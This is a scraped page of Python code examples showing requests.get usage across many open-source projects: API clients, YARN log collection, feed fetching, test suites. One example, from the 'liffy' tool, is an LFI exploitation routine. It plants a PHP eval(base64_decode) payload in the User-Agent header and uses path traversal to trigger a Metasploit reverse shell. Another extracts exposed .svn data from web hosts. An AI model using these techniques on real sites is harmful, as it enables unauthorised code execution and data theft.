            prefix = 'org%d_' % i
            rorg = requests.get('https://api.github.com/orgs/%s' % org_name,
                                headers=headers, auth=TOKEN_AUTH)

            check_limits(rorg.headers)

            data_org = json.loads(rorg.content)
            nd = {}
            for col in data_org.keys():
                if 'url' in col and not col == 'avatar_url':
                    continue
                nd.update({prefix + col: data_org[col]})
            orgs.update(nd)
        return orgs

    try:
        acitiviy = get_activity_from_html(user.get('username'))
    except Exception as e:
        logger.exception(e)
        raise
        acitiviy = {}
    from pprint import pprint as pp ; pp(acitiviy)

    if acitiviy is None:
        return None

    profile = get_profile(user)

    orgs = get_orgs(user.get('username'))

    user.update(acitiviy)
    user.update(profile)
    user.update(orgs)

    return user

Example 15

Project: knit
Source File: yarn_api.py
View license
    @check_app_id
    def logs(self, app_id, shell=False):
        """
        Collect logs from RM (if running)
        With shell=True, collect logs from HDFS after job completion

        Parameters
        ----------
        app_id: str
             A yarn application ID string
        shell: bool
             Shell out to yarn CLI (default False)

        Returns
        -------
        log: dictionary
            logs from each container (when possible)
        """
        if not shell:
            try:
                host_port = "{0}:{1}".format(self.rm, self.rm_port)
                url = "http://{0}/ws/v1/cluster/apps/{1}".format(host_port, app_id)

                logger.debug("Getting Resource Manager Info: {0}".format(url))
                r = requests.get(url)
                data = r.json()
                logger.debug(data)

                amHostHttpAddress = data['app']['amHostHttpAddress']

                url = "http://{0}/ws/v1/node/containers".format(amHostHttpAddress)
                r = requests.get(url)

                data = r.json()['containers']
                if not data:
                    raise YARNException("No container logs available")

                container = data['container']
                logger.debug(container)

                # container_1452274436693_0001_01_000001
                def get_app_id_num(x):
                    return "_".join(x.split("_")[1:3])

                app_id_num = get_app_id_num(app_id)
                containers = [d for d in container if get_app_id_num(d['id']) == app_id_num]

                logs = {}
                for c in containers:
                    log = dict(nodeId=c['nodeId'])

                    # grab stdout
                    url = "{0}/stdout/?start=0".format(c['containerLogsLink'])
                    logger.debug("Gather stdout/stderr data from {0}: {1}".format(c['nodeId'], url))
                    r = requests.get(url)
                    log['stdout'] = r.text

                    # grab stderr
                    url = "{0}/stderr/?start=0".format(c['containerLogsLink'])
                    r = requests.get(url)
                    log['stderr'] = r.text

                    logs[c['id']] = log

                return logs

            except Exception:
                logger.warn("Error while attempting to fetch logs, using fallback", exc_info=1)

        # fallback
        cmd = ["yarn", "logs", "-applicationId", app_id]
        out = shell_out(cmd)
        return str(out)

Example 16

Project: docker-registry
Source File: workflow.py
View license
    def docker_pull(self, namespace, repos):
        # Test pull
        # Docker -> Index

        resp = requests.get('{0}/v1/repositories/{1}/{2}/images'.format(
            self.index_endpoint, namespace, repos),)
        self.assertEqual(resp.status_code, 200)

        resp = requests.get('{0}/v1/repositories/{1}/{2}/images'.format(
            self.index_endpoint, namespace, repos),
            auth=tuple(self.user_credentials),
            headers={'X-Docker-Token': 'true'})
        self.assertEqual(resp.status_code, 200)
        self.token = resp.headers.get('x-docker-token')
        # Here we should use the 'X-Endpoints' returned in a real environment
        # Docker -> Registry
        resp = requests.get('{0}/v1/repositories/{1}/{2}/tags/latest'.format(
                            self.registry_endpoint, namespace, repos),
                            headers={'Authorization': 'Token ' + self.token})
        self.assertEqual(resp.status_code, 200, resp.text)

        resp = requests.get('{0}/v1/repositories/{1}/{2}/tags/latest'.format(
                            self.registry_endpoint, namespace, repos),
                            )
        self.assertEqual(resp.status_code, 200, resp.text)

        # Docker -> Registry
        # Note(dmp): unicode patch XXX not applied assume requests does the job
        image_id = json.loads(resp.text)
        resp = requests.get('{0}/v1/images/{1}/ancestry'.format(
            self.registry_endpoint, image_id),
        )
        self.assertEqual(resp.status_code, 200, resp.text)
        # Note(dmp): unicode patch XXX not applied assume requests does the job
        ancestry = json.loads(resp.text)
        # We got the ancestry, let's fetch all the images there
        for image_id in ancestry:
            json_data, checksum, blob = self.fetch_image(image_id)
            # check queried checksum and local computed checksum from the image
            # are the same
            tmpfile = StringIO()
            tmpfile.write(blob)
            tmpfile.seek(0)
            computed_checksum = checksums.compute_simple(tmpfile, json_data)
            tmpfile.close()
            self.assertEqual(checksum, computed_checksum)
        # Remove the repository
        resp = requests.delete('{0}/v1/repositories/{1}/{2}/images'.format(
            self.registry_endpoint, namespace, repos), )
        self.assertEqual(resp.status_code, 204, resp.text)
        # Remove image_id, then parent_id
        store = storage.load()
        try:
            store.remove(os.path.join(store.images, self.image_id))
        except Exception:
            pass
        try:
            store.remove(os.path.join(store.images, self.parent_id))
        except Exception:
            pass

Example 17

Project: feedhq
Source File: models.py
View license
    def update_feed(self, url, etag=None, last_modified=None, subscribers=1,
                    backoff_factor=1, previous_error=None, link=None,
                    title=None, hub=None):
        url = URLObject(url)
        # Check if this domain has rate-limiting rules
        ratelimit_key = 'ratelimit:{0}'.format(
            url.netloc.without_auth().without_port())
        retry_at = cache.get(ratelimit_key)
        if retry_at:
            retry_in = (epoch_to_utc(retry_at) - timezone.now()).seconds
            schedule_job(url, schedule_in=retry_in,
                         connection=get_redis_connection())
            return

        if subscribers == 1:
            subscribers_text = '1 subscriber'
        else:
            subscribers_text = '{0} subscribers'.format(subscribers)

        headers = {
            'User-Agent': USER_AGENT % subscribers_text,
            'Accept': feedparser.ACCEPT_HEADER,
        }

        if last_modified:
            headers['If-Modified-Since'] = force_bytes(last_modified)
        if etag:
            headers['If-None-Match'] = force_bytes(etag)
        if last_modified or etag:
            headers['A-IM'] = force_bytes('feed')

        if settings.TESTS:
            # Make sure requests.get is properly mocked during tests
            if str(type(requests.get)) != "<class 'unittest.mock.MagicMock'>":
                raise ValueError("Not Mocked")

        auth = None
        if url.auth != (None, None):
            auth = url.auth

        start = datetime.datetime.now()
        error = None
        try:
            response = requests.get(
                six.text_type(url.without_auth()), headers=headers, auth=auth,
                timeout=UniqueFeed.request_timeout(backoff_factor))
        except (requests.RequestException, socket.timeout, socket.error,
                IncompleteRead, DecodeError) as e:
            logger.debug("Error fetching %s, %s" % (url, str(e)))
            if isinstance(e, IncompleteRead):
                error = UniqueFeed.CONNECTION_ERROR
            elif isinstance(e, DecodeError):
                error = UniqueFeed.DECODE_ERROR
            else:
                error = UniqueFeed.TIMEOUT
            self.backoff_feed(url, error, backoff_factor)
            return
        except LocationParseError:
            logger.debug(u"Failed to parse URL for %s", url)
            self.mute_feed(url, UniqueFeed.PARSE_ERROR)
            return

        elapsed = (datetime.datetime.now() - start).seconds

        ctype = response.headers.get('Content-Type', None)
        if (response.history and
            url != response.url and ctype is not None and (
                ctype.startswith('application') or
                ctype.startswith('text/xml') or
                ctype.startswith('text/rss'))):
            redirection = None
            for index, redirect in enumerate(response.history):
                if redirect.status_code != 301:
                    break
                # Actual redirection is next request's url
                try:
                    redirection = response.history[index + 1].url
                except IndexError:  # next request is final request
                    redirection = response.url

            if redirection is not None and redirection != url:
                self.handle_redirection(url, redirection)

        update = {'last_update': int(time.time())}

        if response.status_code == 410:
            logger.debug(u"Feed gone, %s", url)
            self.mute_feed(url, UniqueFeed.GONE)
            return

        elif response.status_code in [400, 401, 403, 404, 500, 502, 503]:
            self.backoff_feed(url, str(response.status_code), backoff_factor)
            return

        elif response.status_code not in [200, 204, 226, 304]:
            logger.debug(u"%s returned %s", url, response.status_code)

            if response.status_code == 429:
                # Too Many Requests
                # Prevent next jobs from fetching the URL before retry-after
                retry_in = int(response.headers.get('Retry-After', 60))
                retry_at = timezone.now() + datetime.timedelta(
                    seconds=retry_in)
                cache.set(ratelimit_key,
                          int(retry_at.strftime('%s')),
                          retry_in)
                schedule_job(url, schedule_in=retry_in)
                return

        else:
            # Avoid going back to 1 directly if it isn't safe given the
            # actual response time.
            if previous_error and error is None:
                update['error'] = None
            backoff_factor = min(backoff_factor, self.safe_backoff(elapsed))
            update['backoff_factor'] = backoff_factor

        if response.status_code == 304:
            schedule_job(url,
                         schedule_in=UniqueFeed.delay(backoff_factor, hub),
                         connection=get_redis_connection(), **update)
            return

        if 'etag' in response.headers:
            update['etag'] = response.headers['etag']
        else:
            update['etag'] = None

        if 'last-modified' in response.headers:
            update['modified'] = response.headers['last-modified']
        else:
            update['modified'] = None

        try:
            if not response.content:
                content = ' '  # chardet won't detect encoding on empty strings
            else:
                content = response.content
        except socket.timeout:
            logger.debug(u'%s timed out', url)
            self.backoff_feed(url, UniqueFeed.TIMEOUT, backoff_factor)
            return

        parsed = feedparser.parse(content)

        if not is_feed(parsed):
            self.backoff_feed(url, UniqueFeed.NOT_A_FEED,
                              UniqueFeed.MAX_BACKOFF)
            return

        if 'link' in parsed.feed and parsed.feed.link != link:
            update['link'] = parsed.feed.link

        if 'title' in parsed.feed and parsed.feed.title != title:
            update['title'] = parsed.feed.title

        if 'links' in parsed.feed:
            for link in parsed.feed.links:
                if link.rel == 'hub':
                    update['hub'] = link.href
        if 'hub' not in update:
            update['hub'] = None
        else:
            subs_key = u'pshb:{0}'.format(url)
            enqueued = cache.get(subs_key)
            if not enqueued and not settings.DEBUG:
                cache.set(subs_key, True, 3600 * 24)
                enqueue(ensure_subscribed, args=[url, update['hub']],
                        queue='low')

        schedule_job(url,
                     schedule_in=UniqueFeed.delay(
                         update.get('backoff_factor', backoff_factor),
                         update['hub']),
                     connection=get_redis_connection(), **update)

        entries = list(filter(
            None,
            [self.entry_data(entry, parsed) for entry in parsed.entries]
        ))
        if len(entries):
            enqueue(store_entries, args=[url, entries], queue='store')

Example 18

Project: scdl
Source File: scdl.py
View license
def download_track(track, playlist_name=None, playlist_file=None):
    """
    Downloads a track
    """
    global arguments

    title = track['title']
    title = title.encode('utf-8', 'ignore').decode('utf8')
    if track['streamable']:
        url = track['stream_url']
    else:
        logger.error('{0} is not streamable...'.format(title))
        logger.newline()
        return
    logger.info('Downloading {0}'.format(title))

    r = None
    # filename
    if track['downloadable'] and not arguments['--onlymp3']:
        logger.info('Downloading the original file.')
        url = track['download_url']
        r = requests.get(url, params={'client_id': CLIENT_ID}, stream=True)
        r.raise_for_status()
        d = r.headers['content-disposition']
        filename = re.findall("filename=(.+)", d)[0][1:-1]
    else:
        username = track['user']['username']
        if username not in title and arguments['--addtofile']:
            title = '{0} - {1}'.format(username, title)
        filename = title + '.mp3'

    invalid_chars = '\/:*?|<>"'
    filename = ''.join(c for c in filename if c not in invalid_chars)

    logger.debug("filename : {0}".format(filename))
    # Add the track to the generated m3u playlist file
    if playlist_file:
        duration = math.floor(track['duration'] / 1000)
        playlist_file.write(
            '#EXTINF:{0},{1}{3}{2}{3}'.format(
                duration, title, filename, os.linesep
            )
        )

    # Download
    if not os.path.isfile(filename):
        logger.debug(url)
        if r is None:
            r = requests.get(url, params={'client_id': CLIENT_ID}, stream=True)
            if r.status_code == 401:
                r = requests.get(url, params={'client_id': ALT_CLIENT_ID}, stream=True)
                logger.debug(r.url)
                r.raise_for_status()
        temp = tempfile.NamedTemporaryFile(delete=False)

        total_length = int(r.headers.get('content-length'))

        min_size = arguments.get('--min-size')
        max_size = arguments.get('--max-size')

        if min_size is not None and total_length < min_size:
            logging.info('{0} not large enough, skipping'.format(title))
            return

        if max_size is not None and total_length > max_size:
            logging.info('{0} too large, skipping'.format(title))
            return

        with temp as f:
            for chunk in progress.bar(
                r.iter_content(chunk_size=1024),
                expected_size=(total_length/1024) + 1,
                hide=True if arguments["--hide-progress"] else False
            ):
                if chunk:
                    f.write(chunk)
                    f.flush()
        shutil.move(temp.name, os.path.join(os.getcwd(), filename))
        if filename.endswith('.mp3') or filename.endswith('.m4a'):
            try:
                settags(track, filename, playlist_name)
            except Exception as e:
                logger.error('Error trying to set the tags...')
                logger.debug(e)
        else:
            logger.error("This type of audio doesn't support tagging...")
    else:
        if arguments['-c']:
            logger.info('{0} already Downloaded'.format(title))
            logger.newline()
            return
        else:
            logger.newline()
            logger.error('Music already exists ! (exiting)')
            sys.exit(0)

    logger.newline()
    logger.info('{0} Downloaded.'.format(filename))
    logger.newline()

Example 19

Project: GrepBugs
Source File: grepbugs.py
View license
def repo_scan(repo, account, force, no_reports):
	"""
	Check code out from a remote repo and scan import
	"""
	try:
		db  = lite.connect(dbfile)
		cur = db.cursor()

	except lite.Error as e:
		print 'Error connecting to db file'
		logging.debug('Error connecting to db file' + str(e))
		sys.exit(1)

	params = [repo]
	cur.execute("SELECT command, checkout_url, api_url FROM repo_sites WHERE site=? LIMIT 1;", params)
	rows = cur.fetchall()

	for row in rows:
		api_url = row[2].replace('ACCOUNT', account)

		if 'github' == repo:
			page = 1
			
			# call api_url
			# if request fails, try 3 times
			count     = 0
			max_tries = 3
			logging.info('Calling github api for ' + api_url)
			while count < max_tries:
				try:
					r    = requests.get(api_url + '?page=' + str(page) + '&per_page=100')
					
					if 200 != r.status_code:
						raise ValueError('Request failed!', r.status_code)

					data = r.json()

					# no exceptions so break out of while loop
					break
				
				except ValueError as e:
					count = count + 1
					logging.debug(str(e.args))
					time.sleep(5)

				except requests.ConnectionError as e:
					count = count + 1
					if count <= max_tries:
						logging.warning('Error retreiving grep rules: ConnectionError (attempt ' + str(count) + ' of ' + str(max_tries) + '): ' + str(e))
						time.sleep(3) # take a break, throttle a bit
				
				except requests.HTTPError as e:
					count = count + 1
					if count <= max_tries:
						logging.warning('Error retreiving grep rules: HTTPError (attempt ' + str(count) + ' of ' + str(max_tries) + '): ' + str(e))
						time.sleep(3) # take a break, throttle a bit
			
				except requests.Timeout as e:
					count = count + 1
					if count <= max_tries:
						logging.warning('Error retreiving grep rules: Timeout (attempt ' + str(count) + ' of ' + str(max_tries) + '): ' + str(e))
						time.sleep(3) # take a break, throttle a bit

				except Exception as e:
					print 'CRITICAL: Unhandled exception occured! Quiters gonna quit! See log file for details.'
					logging.critical('Unhandled exception: ' + str(e))
					sys.exit(1)

			if count == max_tries:
				# grep rules were not retrieved, could be working with old rules.
				logging.critical('Error retreiving data from github api (no more tries left. could be using old grep rules.): ' + str(e))
				sys.exit(1)

			while len(data):
				print 'Get page: ' + str(page)
				for i in range(0, len(data)):
					do_scan        = True
					project_name   = data[i]["name"]
					default_branch = data[i]["default_branch"]
					last_scanned   = last_scan(repo, account, project_name)
					last_changed   = datetime.datetime.strptime(data[i]['pushed_at'], "%Y-%m-%dT%H:%M:%SZ")
					checkout_url   = 'https://github.com/' + account + '/' + project_name + '.git'
					cmd            = 'git'

					print project_name + ' last changed on ' + str(last_changed) + ' and last scanned on ' + str(last_scanned)

					if None != last_scanned:
						if last_changed < last_scanned:
							do_scan = False
							time.sleep(1) # throttle requests; github could be temperamental

					if True == force:
							do_scan = True

					if True == do_scan:
						checkout_code(cmd, checkout_url, account, project_name)
						# scan local files
						local_scan(os.path.dirname(os.path.abspath(__file__)) + '/remotesrc/' + account + '/' + project_name, repo, account, project_name, default_branch, no_reports)
						# clean up because of big projects and stuff
						call(['rm', '-rf', os.path.dirname(os.path.abspath(__file__)) + '/remotesrc/' + account + '/' + project_name])
						
				# get next page of projects
				page += 1
				r    = requests.get(api_url + '?page=' + str(page) + '&per_page=100')
				data = r.json()

		elif 'bitbucket' == repo:
			# call api_url
			r    = requests.get(api_url)
			data = r.json()
			
			for j in range(0, len(data["values"])):
				value =  data["values"][j]

				if 'git' == value['scm']:
					do_scan      = True
					project_name = str(value['full_name']).split('/')[1]
					last_scanned = last_scan(repo, account, project_name)
					date_split   = str(value['updated_on']).split('.')[0]
					last_changed = datetime.datetime.strptime(date_split, "%Y-%m-%dT%H:%M:%S")
					checkout_url = 'https://bitbucket.org/' + value['full_name']
					cmd          = 'git'

					print project_name + ' last changed on ' + str(last_changed) + ' and last scanned on ' + str(last_scanned)

					if None != last_scanned:
						if last_changed < last_scanned:
							do_scan = False

					if True == do_scan:
						checkout_code(cmd, checkout_url, account, project_name)
						# scan local files
						local_scan(os.path.dirname(os.path.abspath(__file__)) + '/remotesrc/' + account + '/' + project_name, repo, account, project_name, 'none', no_reports)

		elif 'sourceforge' == repo:
			message = 'Support for sourceforge removed because of http://seclists.org/nmap-dev/2015/q2/194. You should move your project to another hosting site, such as GitHub or BitBucket.'
			logging.debug(message)
			print message
			"""
			# call api_url
			r    = requests.get(api_url)
			data = r.json()
			
			for i in data['projects']:
				do_scan      = True
				project_name = i["url"].replace('/p/', '').replace('/', '')
				cmd          = None 
				r            = requests.get('https://sourceforge.net/rest' + i['url'])
				project_json = r.json()
				for j in project_json:
					for t in project_json['tools']:
						if 'code' == t['mount_point']:
							if 'git' == t['name']:
								cmd          = 'git'
								checkout_url = 'git://git.code.sf.net/p/' + str(project_name).lower() + '/code'
							elif 'svn' == t['name']:
								cmd          = 'svn'
								checkout_url = 'svn://svn.code.sf.net/p/' + str(project_name).lower() + '/code'

				last_scanned = last_scan(repo, account, project_name)
				date_split   = i['last_updated'].split('.')[0]
				last_changed = datetime.datetime.strptime(date_split, "%Y-%m-%d %H:%M:%S")

				print project_name + ' last changed on ' + str(last_changed) + ' and last scanned on ' + str(last_scanned)

				if None != last_scanned:
					if last_changed < last_scanned:
						do_scan = False

				if True == do_scan:
					if None != cmd:
						checkout_code(cmd, checkout_url, account, project_name)
						# scan local files
						local_scan(os.path.dirname(os.path.abspath(__file__)) + '/remotesrc/' + account + '/' + project_name, repo, account, project_name)
					else:
						print 'No sourceforge repo for ' + account + ' ' + project_name
			"""

		db.close()
		# clean up
		try:
			shutil.rmtree(os.path.abspath(__file__) + '/remotesrc/' + account)
		except Exception as e:
			logging.debug('Error removing directory: ' + str(e))
		
		print 'SCAN COMPLETE!'

Example 20

Project: liffy
Source File: core.py
View license
    def execute_environ(self):

        lhost, lport, shell = msf_payload()

        handle = Payload(lhost, lport)
        handle.handler()

        """ Handle staging """

        if self.nostager:
            print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "No-Staged Selected!")
            payload_file = open("/tmp/{0}.php".format(shell), "r")
            payload = "<?php eval(base64_decode('{0}')); ?>".format(
                payload_file.read().encode('base64').replace("\n", ""))
            payload_file.close()
        else:
            payload = stager_payload.format(lhost, shell)
            progressbar()
            try:
                p = subprocess.Popen(['python http_server.py'], shell=True, stdout=subprocess.PIPE)
                p.communicate()
            except OSError as os_error:
                print(t.red("[{0}] ".format(datetime.datetime.now()) + "Process Error"))(os_error)

        """ Build LFI """

        lfi = self.target + self.location
        headers = {'User-Agent': payload}

        raw_input(t.cyan(
            "[{0}] ".format(datetime.datetime)) + "Press Enter To Continue When Your Metasploit Handler is Running ...")
        try:
            if not self.relative:
                if self.cookies:
                    f_cookies = format_cookies(self.cookies)
                    try:
                        r = requests.get(lfi, headers=headers, cookies=f_cookies)
                        if r.status_code != 200:
                            print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
                            sys.exit(1)
                        else:
                            sys.exit(0)
                    except requests.RequestException as access_error:
                        print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error)
                        sys.exit(1)
                else:
                    try:
                        r = requests.get(lfi, headers=headers)
                        if r.status_code != 200:
                            print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
                            sys.exit(1)
                        else:
                            sys.exit(0)
                    except requests.RequestException as access_error:
                        print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error)
                        sys.exit(1)
            else:
                for path_traversal_sequence in path_traversal_sequences:
                    for counter in xrange(10):
                        lfi = self.target + path_traversal_sequence * counter + self.location
                        if self.cookies:
                            f_cookies = format_cookies(self.cookies)
                            try:
                                r = requests.get(lfi, headers=headers, cookies=f_cookies)
                                if r.status_code != 200:
                                    print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
                                    sys.exit(1)
                                else:
                                    sys.exit(0)
                            except requests.RequestException as access_error:
                                print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error)
                                sys.exit(1)
                        else:
                            try:
                                r = requests.get(lfi, headers=headers)
                                if r.status_code != 200:
                                    print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())))
                                    sys.exit(1)
                                else:
                                    sys.exit(0)
                            except requests.RequestException as access_error:
                                print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error)
                                sys.exit(1)
        except Exception as unknown_error:
            print t.red("[{0}] Unknown Error ".format(datetime.datetime.now()))(unknown_error)
            sys.exit(1)

Example 21

Project: hydroshare
Source File: http_tests.py
View license
    def test_get_rows(self):
        blank_dataset_with_columns = requests.get(host + 'ga_resources/new/',
                                                  headers={
                                                      "content-type": 'application/json'
                                                  }
            , params={
            "api_key": AK,
            "title": 'test schema dataset',
            'srid': 4326,
            'columns_definitions': json.dumps({
                "i": "real",
                "j": "integer",
                "name": "text"
            })
        })
        self.assertSuccess(blank_dataset_with_columns, msg='failed to create dataset {code}')

        path = blank_dataset_with_columns.json()['path']
        add_row = requests.post(host + 'ga_resources/' + path + '/',
                                headers={
                                    "content-type": 'application/json'
                                }
            , params={
                "api_key": AK,
                "i": 0.0,
                "j": 2,
                "name": "folly",
                'GEOMETRY': "POINT(0 1)"
            })
        self.assertSuccess(add_row)

        add_row = requests.post(host + 'ga_resources/' + path + '/',
                                headers={
                                    "content-type": 'application/json'
                                }
            , params={
                "api_key": AK,
                "i": 0.0,
                "j": 2,
                "name": "folly",
                'GEOMETRY': "POINT(1 1)"
            })
        self.assertSuccess(add_row)

        add_row = requests.post(host + 'ga_resources/' + path + '/',
                                headers={
                                    "content-type": 'application/json'
                                }
            , params={
                "api_key": AK,
                "i": 0.0,
                "j": 2,
                "name": "folly",
                'GEOMETRY': "POINT(2 1)"
            })
        self.assertSuccess(add_row)

        query = requests.get(host + 'ga_resources/' + path + '/1:3/',
                             headers={
                                 "content-type": 'application/json'
                             }
        )
        self.assertSuccess(query)
        self.assertEqual(len(query.json()), 3, msg='no results returned {n}'.format(n=len(query.json())))

        query = requests.get(host + 'ga_resources/' + path + '/1,3/',
                             headers={
                                 "content-type": 'application/json'
                             }
        )
        self.assertSuccess(query)
        self.assertEqual(len(query.json()), 3, msg='no results returned {n}'.format(n=len(query.json())))

        query = requests.get(host + 'ga_resources/' + path + '/0,3/',
                             headers={
                                 "content-type": 'application/json'
                             }
        )
        self.assertSuccess(query)
        self.assertEqual(len(query.json()), 3, msg='no results returned {n}'.format(n=len(query.json())))

Example 22

Project: hydroshare2
Source File: http_tests.py
View license
    def test_get_rows(self):
        blank_dataset_with_columns = requests.get(host + 'ga_resources/new/',
                                                  headers={
                                                      "content-type": 'application/json'
                                                  }
            , params={
            "api_key": AK,
            "title": 'test schema dataset',
            'srid': 4326,
            'columns_definitions': json.dumps({
                "i": "real",
                "j": "integer",
                "name": "text"
            })
        })
        self.assertSuccess(blank_dataset_with_columns, msg='failed to create dataset {code}')

        path = blank_dataset_with_columns.json()['path']
        add_row = requests.post(host + 'ga_resources/' + path + '/',
                                headers={
                                    "content-type": 'application/json'
                                }
            , params={
                "api_key": AK,
                "i": 0.0,
                "j": 2,
                "name": "folly",
                'GEOMETRY': "POINT(0 1)"
            })
        self.assertSuccess(add_row)

        add_row = requests.post(host + 'ga_resources/' + path + '/',
                                headers={
                                    "content-type": 'application/json'
                                }
            , params={
                "api_key": AK,
                "i": 0.0,
                "j": 2,
                "name": "folly",
                'GEOMETRY': "POINT(1 1)"
            })
        self.assertSuccess(add_row)

        add_row = requests.post(host + 'ga_resources/' + path + '/',
                                headers={
                                    "content-type": 'application/json'
                                }
            , params={
                "api_key": AK,
                "i": 0.0,
                "j": 2,
                "name": "folly",
                'GEOMETRY': "POINT(2 1)"
            })
        self.assertSuccess(add_row)

        query = requests.get(host + 'ga_resources/' + path + '/1:3/',
                             headers={
                                 "content-type": 'application/json'
                             }
        )
        self.assertSuccess(query)
        self.assertEqual(len(query.json()), 3, msg='no results returned {n}'.format(n=len(query.json())))

        query = requests.get(host + 'ga_resources/' + path + '/1,3/',
                             headers={
                                 "content-type": 'application/json'
                             }
        )
        self.assertSuccess(query)
        self.assertEqual(len(query.json()), 3, msg='no results returned {n}'.format(n=len(query.json())))

        query = requests.get(host + 'ga_resources/' + path + '/0,3/',
                             headers={
                                 "content-type": 'application/json'
                             }
        )
        self.assertSuccess(query)
        self.assertEqual(len(query.json()), 3, msg='no results returned {n}'.format(n=len(query.json())))

Example 23

Project: svn-extractor
Source File: svn_extractor.py
View license
def main(argv):
    target=''
    #placing global variables outside all scopes
    global show_debug
    global no_extract
    global author_list 
    author_list=[]
    desc="""This program is used to extract the hidden SVN files from a webhost considering
either .svn entries file (<1.6)
or wc.db (> 1.7) are available online.
This program actually automates the directory navigation and text extraction process"""
    epilog="""Credit (C) Anant Shrivastava http://anantshri.info
    Greets to Amol Naik, Akash Mahajan, Prasanna K, Lava Kumar for valuable inputs"""
    parser = argparse.ArgumentParser(description=desc,epilog=epilog)
    parser.add_argument("--url",help="Provide URL",dest='target',required=True)
    parser.add_argument("--debug",help="Provide debug information",action="store_true")
    parser.add_argument("--noextract",help="Don't extract files just show content",action="store_false")
    #using no extract in a compliment format if its defined then it will be false hence
    parser.add_argument("--userlist",help="show the usernames used for commit",action="store_true")
    parser.add_argument("--wcdb", help="check only wcdb",action="store_true")
    parser.add_argument("--entries", help="check only .svn/entries file",action="store_true")
    parser.add_argument("--match", help="only download files that match regex")
    x=parser.parse_args()
    url=x.target
    no_extract=x.noextract
    show_debug=x.debug
    match=x.match
    if (match):
        print "Only downloading matches to %s" % match
        match="("+match+"|entries$|wc.db$)"  # need to allow entries$ and wc.db too
    else:
        match=""
    if (x.wcdb and x.entries):
        print "Checking both wc.db and .svn/entries (default behaviour no need to specify switch)"
        x.wcdb = False
        x.entries=False
    if url is None:
        exit()
    print url
    if not url.endswith('/'):
        url = url + "/"
    print "Checking if URL is correct"
    try:
        r=requests.get(url, verify=False)
    except Exception,e:
        print "Problem connecting to URL"
        if show_debug:
            traceback.print_exc()
        exit()
    if [200,403].count(r.status_code) > 0:
        print "URL is active"
        if no_extract:
            folder_path=os.path.join("output",  url.replace("http://","").replace("https://","").replace("/",os.path.sep))
            if not os.path.exists(folder_path):
                os.makedirs(folder_path)
        if not x.entries:
            print "Checking for presence of wc.db"
            r=requests.get(url + "/.svn/wc.db", verify=False,allow_redirects=False)
            if r.status_code == 200:
                print "WC.db found"
                rwc=readwc(r,url,match)
                if rwc == 0:
                    if x.userlist:
                        show_list(author_list,"List of Usersnames used to commit in svn are listed below")
                        exit()
        else:
            if show_debug:
                print "Status code returned : " + str(r.status_code)
                print "Full Respose"
                print r.text
            print "WC.db Lookup FAILED"
        if not x.wcdb:
            print "lets see if we can find .svn/entries"
            #disabling redirection to make sure no redirection based 200ok is captured.
            r=requests.get(url + "/.svn/entries", verify=False,allow_redirects=False)
            if r.status_code == 200:
                print "SVN Entries Found if no file listed check wc.db too"
                data=readsvn(r,url,match)
                if 'author_list' in globals() and x.userlist:
                    show_list(author_list,"List of Usersnames used to commit in svn are listed below")
                    exit();
            else:
                if show_debug:
                    print "Status code returned : " + str(r.status_code)
                    print "Full Respose"
                    print r.text
                print ".svn/entries Lookup FAILED"
        print (url + " doesn't contains any SVN repository in it")
    else:
        print "URL returns " + str(r.status_code)
        exit()

Example 24

Project: gordon
Source File: tests.py
View license
    def test_0001_project(self):
        self._test_project_step('0001_project')
        self.assert_stack_succeed('p')
        self.assert_stack_succeed('r')

        lambda_ = self.get_lambda(utils.valid_cloudformation_name('pyexample:hellopy'))
        self.assertEqual(lambda_['Runtime'], 'python2.7')
        self.assertEqual(lambda_['Description'], 'My hello description')
        self.assertEqual(lambda_['MemorySize'], 192)
        self.assertEqual(lambda_['Timeout'], 123)

        aliases = self.get_lambda_aliases(function_name=lambda_['FunctionName'])
        self.assertEqual(list(aliases.keys()), ['current'])

        response = self.invoke_lambda(
            function_name=lambda_['FunctionName'],
            payload={}
        )
        self.assert_lambda_response(response, 'hello')

        lambda_ = self.get_lambda(utils.valid_cloudformation_name('pyexample:byepy'))
        self.assertEqual(lambda_['Runtime'], 'python2.7')
        self.assertEqual(lambda_['Description'], 'My bye description')
        self.assertEqual(lambda_['MemorySize'], 192)
        self.assertEqual(lambda_['Timeout'], 123)

        aliases = self.get_lambda_aliases(function_name=lambda_['FunctionName'])
        self.assertEqual(list(aliases.keys()), ['current'])

        response = self.invoke_lambda(
            function_name=lambda_['FunctionName'],
            payload={}
        )
        self.assert_lambda_response(response, 'bye')

        client = boto3.client('apigateway')
        api = [a for a in client.get_rest_apis()['items'] if a['name'] == 'helloapi-{}'.format(self.uid)][0]
        endpoint = 'https://{}.execute-api.{}.amazonaws.com/{}'.format(api['id'], os.environ['AWS_DEFAULT_REGION'], self.uid)

        response = requests.get(endpoint)
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content.decode('utf-8'), '"hello"')

        response = requests.get('{}/404'.format(endpoint))
        self.assertEqual(response.status_code, 404)
        self.assertEqual(response.content.decode('utf-8'), '"hello"')

        response = requests.get('{}/shop/2'.format(endpoint))
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content.decode('utf-8'), '"hello"')

        response = requests.get('{}/http'.format(endpoint))
        self.assertEqual(response.status_code, 200)
        self.assertEqual(json.loads(response.content.decode('utf-8'))['args'], {'hello': 'world'})

        response = requests.get('{}/complex'.format(endpoint))
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content.decode('utf-8'), '"hello"')

        response = requests.post('{}/complex'.format(endpoint))
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content.decode('utf-8'), '"bye"')

Example 25

Project: ANALYSE
Source File: test_ora.py
View license
    def test_calibration(self):

        # Ensure that we use the same student ID throughout
        student_id = '1234'

        # Initially, student should not be calibrated
        response = requests.get(
            self._peer_url('is_student_calibrated'),
            params={'student_id': student_id, 'problem_id': '5678'}
        )
        self._assert_response(response, {
            'version': 1, 'success': True,
            'total_calibrated_on_so_far': 0,
            'calibrated': False
        })

        # Retrieve a calibration essay
        response = requests.get(
            self._peer_url('show_calibration_essay'),
